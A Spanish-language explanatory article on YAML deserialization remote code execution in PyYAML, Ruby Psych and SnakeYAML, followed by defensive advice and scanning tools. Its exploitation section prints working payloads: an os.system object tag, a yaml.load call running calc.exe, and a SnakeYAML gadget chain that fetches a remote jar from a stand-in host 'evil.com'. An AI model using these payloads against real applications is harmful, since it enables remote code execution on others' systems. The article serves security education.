Deserialización de YAML: una vulnerabilidad que permite la ejecución remota de código

Deserialización de YAML: una vulnerabilidad que permite la ejecución remota de código

YAML — es un formato de serialización de datos conveniente que se utiliza en todas partes: desde archivos de configuración hasta interfaces de API. Pero precisamente su conveniencia y flexibilidad suelen ser la causa de vulnerabilidades graves. Uno de esos problemas es YAML Deserialization RCE — ejecución remota de código mediante deserialización insegura de datos. En este artículo analizaremos qué significa este término, cómo los atacantes explotan la vulnerabilidad y qué se puede hacer para protegerse.

Qué es la deserialización y por qué es peligrosa

La serialización es el proceso de transformar estructuras de datos complejas (por ejemplo, objetos en Python o Java) en una cadena o formato binario para almacenarlas o transmitirlas. La deserialización, en consecuencia, hace lo contrario: toma una cadena y restaura el objeto en memoria.

El peligro surge cuando el desarrollador acepta datos externos (por ejemplo, de un usuario o de la red) y los deserializa sin restricciones. Si el formato de datos admite tipos de objetos complejos, un atacante puede suministrar no solo "datos", sino un objeto completo con comportamiento malicioso. Al cargar dicho objeto puede ejecutarse comandos del sistema o código arbitrario.

  • Serialización = empaquetar datos en una cadena.
  • Deserialización = convertir una cadena de nuevo en un objeto.
  • RCE (ejecución remota de código) = posibilidad de ejecutar código arbitrario en la máquina de la víctima.

Por qué YAML

YAML fue creado como un formato legible por humanos, cómodo para almacenar configuraciones. Se utiliza en  Kubernetes, Ansible, herramientas de CI/CD y decenas de frameworks. El problema es que muchas implementaciones de YAML admiten la creación de objetos completos durante la deserialización. Esto significa que YAML puede contener no solo claves y valores, sino también instrucciones para crear objetos de clases concretas.

Ejemplo de un YAML inocuo:

name: Alex
role: admin

Ejemplo de YAML con un objeto:

!!python/object/apply:os.system
- "echo hacked > /tmp/pwned.txt"

En este caso, al deserializar con un analizador inseguro de Python se ejecutará el comando os.system y se creará el archivo. Por eso YAML se convierte tan a menudo en objetivo de ataques.

Ejemplos reales de ataques

En los últimos años hubo varios casos sonados en los que la deserialización de YAML condujo a RCE. Por ejemplo, vulnerabilidades en las librerías Python PyYAML, en Ruby Psych y en Java SnakeYAML. Muchas surgieron porque por defecto los analizadores permitían cargar objetos arbitrarios.

  • Python (PyYAML): uso de yaml.load() en lugar de yaml.safe_load() ( CVE-2017-18342).
  • Ruby (Psych): carga incontrolada de YAML con objetos ( informe en HackerOne).
  • Java (SnakeYAML): posibilidad de cargar clases y ejecutar código durante la deserialización ( CVE-2022-1471).

Estos casos muestran que el problema no se limita a un solo ecosistema. Los errores en el manejo de YAML aparecen en distintos lenguajes de programación y afectan a muchas aplicaciones y librerías.

Cómo se explota

Para entender mejor la mecánica, veamos un ejemplo sencillo en Python:

import yaml
malicious = "!!python/object/apply:os.system ['calc.exe']"
yaml.load(malicious, Loader=yaml.FullLoader)

Este código al ejecutarse abrirá la calculadora. Todo porque PyYAML consideró que no era solo una cadena, sino una instrucción para crear un objeto. En la práctica, un atacante puede sustituirlo por cualquier cosa: desde la carga de una puerta trasera hasta la ejecución de un script remoto.

Hay ejemplos similares en otros lenguajes:

// Java SnakeYAML
Yaml yaml = new Yaml();
Object obj = yaml.load("!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://evil.com/Exploit.jar"]]]]");

En Java se puede forzar la carga de una clase remota desde el servidor del atacante. Y ese ya es un escenario mucho más serio que la "calculadora".

Cómo protegerse

Afortunadamente, la mayoría de las librerías populares ya han reconocido el problema y ofrecen modos seguros. Recomendaciones principales:

  1. Usar funciones seguras: yaml.safe_load() en Python en lugar de yaml.load().
  2. Actualizar las librerías a las últimas versiones.
  3. Nunca deserializar YAML de fuentes no confiables.
  4. Usar análisis estático de código y escáneres de dependencias (por ejemplo,  Snyk o  OWASP Dependency-Check).
  5. Aplicar validación de entrada y esquemas (por ejemplo,  JSON Schema, si el formato permite migrar a JSON).

Si YAML se usa solo para almacenar configuración, limite el conjunto de tipos permitidos. En la mayoría de los casos no es necesario soportar la carga de objetos.

Errores comunes de los desarrolladores

  • Usar funciones inseguras "por costumbre".
  • Confiar en que "el archivo es local, por lo tanto seguro".
  • Ignorar las actualizaciones de las librerías.
  • Falta de pruebas de seguridad para los archivos de configuración.

Es especialmente peligrosa la ilusión de que YAML siempre se lee solo desde fuentes confiables. En la práctica se puede introducir a través de CI/CD, dependencias o incluso mediante un PR en un proyecto de código abierto.

Herramientas de análisis

Existe una serie de herramientas que ayudan a detectar problemas de deserialización:

  • Bandit — analizador de código Python.
  • FindSecBugs — extensión de SpotBugs para Java.
  • Semgrep — analizador universal.
  • njsscan — para proyectos Node.js.

Estas herramientas pueden encontrar llamadas inseguras y sugerir dónde reemplazar funciones o actualizar dependencias.

Conclusión

YAML Deserialization RCE no es una vulnerabilidad "exótica", sino una amenaza real que aparece regularmente en librerías populares. Su fuerza radica en que un atacante puede convertir un archivo de configuración corriente en un arma si el código lo procesa sin restricciones. Los desarrolladores deben recordar: la conveniencia no debe anteponerse a la seguridad. Y los usuarios — mantener actualizadas sus herramientas y librerías para no convertirse en víctimas.

Alt text